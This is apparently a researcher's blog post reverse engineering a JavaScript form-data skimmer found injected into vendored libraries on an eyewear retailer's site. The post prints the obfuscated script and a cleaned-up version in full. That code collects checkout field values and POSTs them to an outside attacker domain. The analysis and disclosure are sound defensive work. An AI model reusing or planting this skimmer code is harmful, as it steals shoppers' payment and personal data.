Reversing JS Malware From marveloptics.com

tl;dr: The injected script steals checkout form data and sends it to a Chinese-owned domain. But the attackers are really bad at programming.

Recently, my mom was browsing for a new pair of glasses, and upon visiting marveloptics.com, her antivirus software started flashing alerts over some malicious javascript. Always curious to see how real-world attacks work, I reverse engineered it.

Files are available in this GitHub repository.

Location

The hijackers injected their code in vendored libraries like modernizr and openid, which offers a few benefits.

  • Vendored libraries will contain minified code, which make it harder to spot malicious and obfuscated code.
  • Injected malware will survive updates to the application code, since developers update their dependencies less frequently, if ever.
https://www.marveloptics.com/templates/moptics/js/vendor/modernizr.js
https://www.marveloptics.com/libraries/openid/openid.js

Deobfuscating

Files: modernizr.js openid.js

They contain the exact same code, and it’s clearly obfuscated with something like javascriptobfuscator.com.

Luckily, js-beautify specifically deobfuscates these kinds of scripts.

$ js-beautify -x -s 2 original/openid.js > deobfuscated.js
var i3692386a609ff6fd204a1418521ec651 = {
  snd: null,
  o7d6e88f271f3ac078a708f7123e10e14: "https://webfotce.me/js/form.js",
  myid: (function(_0x79e5x2) {
    var _0x79e5x3 = document["cookie"]["match"](new RegExp("(?:^|; )" + _0x79e5x2["replace"](/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return _0x79e5x3 ? decodeURIComponent(_0x79e5x3[1]) : undefined
  })("setidd") || (function() {
    var _0x79e5x4 = new Date();
    var _0x79e5x5 = _0x79e5x4["getTime"]() + "-" + Math["floor"](Math["random"]() * (999999999 - 11111111 + 1) + 11111111);
    var _0x79e5x6 = new Date(new Date()["getTime"]() + 60 * 60 * 24 * 1000);
    document["cookie"] = "setidd=" + _0x79e5x5 + "; path=/; expires=" + _0x79e5x6["toUTCString"]();
    return _0x79e5x5
  })(),
  clk: function() {
    i3692386a609ff6fd204a1418521ec651["snd"] = null;
    var _0x79e5x7 = document["querySelectorAll"]("input, select, textarea, checkbox, button");
    for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5x7["length"]; _0x79e5x8++) {
      if (_0x79e5x7[_0x79e5x8]["value"]["length"] > 0) {
        var _0x79e5x9 = _0x79e5x7[_0x79e5x8]["name"];
        if (_0x79e5x9 == "") {
          _0x79e5x9 = _0x79e5x8
        };
        i3692386a609ff6fd204a1418521ec651["snd"] += _0x79e5x7[_0x79e5x8]["name"] + "=" + _0x79e5x7[_0x79e5x8]["value"] + "&"
      }
    }
  },
  send: function() {
    try {
      var _0x79e5xa = document["querySelectorAll"]("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var _0x79e5x8 = 0; _0x79e5x8 < _0x79e5xa["length"]; _0x79e5x8++) {
        var _0x79e5xb = _0x79e5xa[_0x79e5x8];
        if (_0x79e5xb["type"] != "text" && _0x79e5xb["type"] != "select" && _0x79e5xb["type"] != "checkbox" && _0x79e5xb["type"] != "password" && _0x79e5xb["type"] != "radio") {
          if (_0x79e5xb["addEventListener"]) {
            _0x79e5xb["addEventListener"]("click", i3692386a609ff6fd204a1418521ec651["clk"], false)
          } else {
            _0x79e5xb["attachEvent"]("onclick", i3692386a609ff6fd204a1418521ec651["clk"])
          }
        }
      };
      var _0x79e5xc = document["querySelectorAll"]("form");
      for (vari = 0; _0x79e5x8 < _0x79e5xc["length"]; _0x79e5x8++) {
        if (_0x79e5xc[_0x79e5x8]["addEventListener"]) {
          _0x79e5xc[_0x79e5x8]["addEventListener"]("submit", i3692386a609ff6fd204a1418521ec651["clk"], false)
        } else {
          _0x79e5xc[_0x79e5x8]["attachEvent"]("onsubmit", i3692386a609ff6fd204a1418521ec651["clk"])
        }
      };
      if (i3692386a609ff6fd204a1418521ec651["snd"] != null) {
        var _0x79e5xd = location["hostname"]["split"](".")["slice"](0)["join"]("_") || "nodomain";
        var _0x79e5xe = btoa(i3692386a609ff6fd204a1418521ec651["snd"]);
        var _0x79e5xf = new XMLHttpRequest();
        _0x79e5xf["open"]("POST", i3692386a609ff6fd204a1418521ec651["o7d6e88f271f3ac078a708f7123e10e14"], true);
        _0x79e5xf["setRequestHeader"]("Content-type", "application/x-www-form-urlencoded");
        _0x79e5xf["send"]("info=" + _0x79e5xe + "&hostname=" + _0x79e5xd + "&key=" + i3692386a609ff6fd204a1418521ec651["myid"])
      };
      i3692386a609ff6fd204a1418521ec651["snd"] = null;
      _0x79e5xe = null;
      setTimeout(function() {
        i3692386a609ff6fd204a1418521ec651["send"]()
      }, 30)
    } catch (e) {}
  }
};
if ((new RegExp("onepage|checkout|onestep", "gi"))["test"](window["location"])) {
  i3692386a609ff6fd204a1418521ec651["send"]()
}

Wow, that’s a little bit better, but still a huge mess! Next comes the tedious work of find-and-replacing variable names and adding comments:

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",
  myid: (function(cookieName) {
    // Check setidd cookie for id
    var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
    return id ? decodeURIComponent(id[1]) : undefined;
  })("setidd") || (function() {
    // If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
    // IDs look like 1529853014535-289383517
    // Unix timestamp (ms), a dash, and a long random number
    var timestamp = new Date();
    var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
    var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
    document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
    return id;
  })(),
  stealData: function() {
    // Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
    // Saves them in Malware.data
    Malware.data = null;
    var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
    for (var i = 0; i < elements.length; i++) {
      if (elements[i].value.length > 0) {
        var name = elements[i].name;
        if (name == "") {
          name = i;
        };
        Malware.data += elements[i].name + "=" + elements[i].value + "&";
      }
    }
  },
  send: function() {
    try {
      // When the user clicks any buttons or form inputs, run stealData
      var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
      for (var i = 0; i < elements.length; i++) {
        var element = elements[i];
        if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
          if (element.addEventListener) {
            element.addEventListener("click", Malware.stealData, false);
          } else {
            element.attachEvent("onclick", Malware.stealData);
          }
        }
      };

      // When the user submits a form, run stealData
      var formElements = document.querySelectorAll("form");
      for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
        if (formElements[i].addEventListener) {
          formElements[i].addEventListener("submit", Malware.stealData, false);
        } else {
          formElements[i].attachEvent("onsubmit", Malware.stealData);
        }
      };

      // If there's any data to send, then send it to configured url
      if (Malware.data != null) {
        var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
        var data = btoa(Malware.data); // base64 encoded
        var xhr = new XMLHttpRequest();
        xhr.open("POST", Malware.url, true);
        xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
      };
      Malware.data = null;
      data = null;
      setTimeout(function() {
        Malware.send();
      }, 30); // This whole function runs every 30 milliseconds!
    } catch (e) {}
  }
};

// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

What does it do?

Step by step, here’s what the code does:

Start it off

// Only run on pages with worthwhile info
if ((new RegExp("onepage|checkout|onestep", "gi")).test(window.location)) {
  Malware.send();
}

This is the entry point of the entire script, and it calls send(), but only if the page is a checkout page.

Declare the main object

var Malware = {
  data: null,
  url: "https://webfotce.me/js/form.js",

I renamed it to Malware, and the bulk of the code lives inside this object literal. data will eventually store the user’s stolen data, which will be sent to url. Details about this domain

Identify the user

myid: (function(cookieName) {
  // Check setidd cookie for id
  var id = document.cookie.match(new RegExp("(?:^|; )" + cookieName.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  return id ? decodeURIComponent(id[1]) : undefined;
})("setidd") || (function() {
  // If the setidd cookie doesn't exist, then generate a new id and save it in the setidd cookie
  // IDs look like 1529853014535-289383517
  // Unix timestamp (ms), a dash, and a long random number
  var timestamp = new Date();
  var id = timestamp.getTime() + "-" + Math.floor(Math.random() * (999999999 - 11111111 + 1) + 11111111);
  var expiration = new Date(new Date().getTime() + 60 * 60 * 24 * 1000); // Cookie expires in 24 hours
  document.cookie = "setidd=" + id + "; path=/; expires=" + expiration.toUTCString();
  return id;
})(),

myid stores a string ID to identify the user.

In the first block, the program checks for a cookie called setidd. If it exists (the victim is a returning user), then it parses the cookie for the ID, and stores it in myid.

However, if the cookie does not exist, then it will generate a new ID, and save it in myid and the setidd cookie, which expires in 24 hours. IDs are made up of the current unix timestamp, a dash, and a long random number, and look like 1529853014535-289383517.

Helper function to vacuum up data

stealData: function() {
  // Serializes the values of inputs, dropdowns, textareas, checkboxes, and buttons (?)
  // Saves them in Malware.data
  Malware.data = null;
  var elements = document.querySelectorAll("input, select, textarea, checkbox, button");
  for (var i = 0; i < elements.length; i++) {
    if (elements[i].value.length > 0) {
      var name = elements[i].name;
      if (name == "") {
        name = i;
      };
      Malware.data += elements[i].name + "=" + elements[i].value + "&";
    }
  }
},

First, it clears out the data property by setting it to null. Then, it finds all text inputs on the page, and saves their names and values in the format:

username=admin&password=hunter2

But actually, because data starts out as null, when the program concatenates new values to it, the resulting string ends up looking more like this:

nullusername=admin&password=hunter2

This is how we know we’re dealing with top tier hackers.

The big one: send()

send: function() {
  try {
    // ...
  } catch (e) {}
}

These are pro developers, and pros never let errors get in their way.

Add event listeners

// When the user clicks any buttons or form inputs, run stealData
var elements = document.querySelectorAll("a[href*=\'javascript:void(0)\'],button, input, submit, .btn, .button");
for (var i = 0; i < elements.length; i++) {
  var element = elements[i];
  if (element.type != "text" && element.type != "select" && element.type != "checkbox" && element.type != "password" && element.type != "radio") {
    if (element.addEventListener) {
      element.addEventListener("click", Malware.stealData, false);
    } else {
      element.attachEvent("onclick", Malware.stealData);
    }
  }
};

The malware injects an event listener to all buttons on the page, so when the user clicks any of them, then they run stealData() again. Testing for element.addEventListener and using element.attachEvent if it doesn’t exist is a trick to support Internet Explorer 8 and below.

// When the user submits a form, run stealData
var formElements = document.querySelectorAll("form");
for (vari = 0; i < formElements.length; i++) { // Yes, this is their typo!
  if (formElements[i].addEventListener) {
    formElements[i].addEventListener("submit", Malware.stealData, false);
  } else {
    formElements[i].attachEvent("onsubmit", Malware.stealData);
  }
};

They attempt to do the same thing for form submission too. However, they made a typo: instead of writing var i = 0, they wrote vari = 0. This instead creates a global variable called vari and sets it to 0. Luckily, the i from the previous loop is still in scope since it’s scoped to the function. Because of this, i starts higher than 0, and likely higher than formElements.length too, meaning the loop body never actually runs.

Again, we’re dealing with pros here.

Send the data!

// If there's any data to send, then send it to configured url
if (Malware.data != null) {
  var hostname = location.hostname.split(".").slice(0).join("_") || "nodomain";
  var data = btoa(Malware.data); // base64 encoded
  var xhr = new XMLHttpRequest();
  xhr.open("POST", Malware.url, true);
  xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  xhr.send("info=" + data + "&hostname=" + hostname + "&key=" + Malware.myid);
};

If there’s any data inside data (set by stealData()) then POST it to their domain. Everything inside data gets base64 encoded so it doesn’t collide with the rest of their POST request, which includes the ID and the current page’s hostname (with dots converted to underscores, for some reason).

Clean up and run again

Malware.data = null;
data = null;
setTimeout(function() {
  Malware.send();
}, 30); // This whole function runs every 30 milliseconds!

send recursively calls itself every 30 milliseconds (!). They really don’t care about performance.

WHOIS behind this?

A WHOIS query of their domain reveals that webfotce.me is registered to a company called “Wuxi Yilian LLC,” based in Fujian China. Their registrar is http://www.bizcn.com. It is probably safe to say that these attackers are Chinese.

Domain Name: WEBFOTCE.ME
Registry Domain ID: D425500000000910031-AGRS
Registrar WHOIS Server:
Registrar URL: http://www.bizcn.com
Updated Date: 2017-10-25T07:11:06Z
Creation Date: 2016-10-28T10:49:19Z
Registry Expiry Date: 2018-10-28T10:49:19Z
Registrar Registration Expiration Date:
Registrar: Bizcn.com
Registrar IANA ID: 471
Registrar Abuse Contact Email:
Registrar Abuse Contact Phone:
Reseller:
Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited
Registrant Organization: Wuxi Yilian LLC
Registrant State/Province: Fujian
Registrant Country: CN
Name Server: NS1.WEBFOTCE.ME
Name Server: NS2.WEBFOTCE.ME
DNSSEC: unsigned

A google search reveals that this isn’t this company’s only scam: they allegedly stole 250 bitcoin from this redditor when bitcoins were about $6000 apiece, meaning they’ve stolen about 1.5 million dollars.

Time frame

According to Internet Archive snapshots, marveloptics.com has been infected since between January and June 2017, meaning all of their customers over the past year have had their information stolen.

I emailed [email protected] with details on June 24 this year, and have yet to receive a reply.

Hashes

sha256

cc4eb4839266c655c1bd4868d2994f68e44effd3249322eb37d3673954904f30  modernizr.js
d691b626a821c1bf93d1d75e4e8f0891c81b6f7a1e2c479eacdc18b9ec48d492  openid.js

Files available here: https://github.com/veggiedefender/marveloptics_malware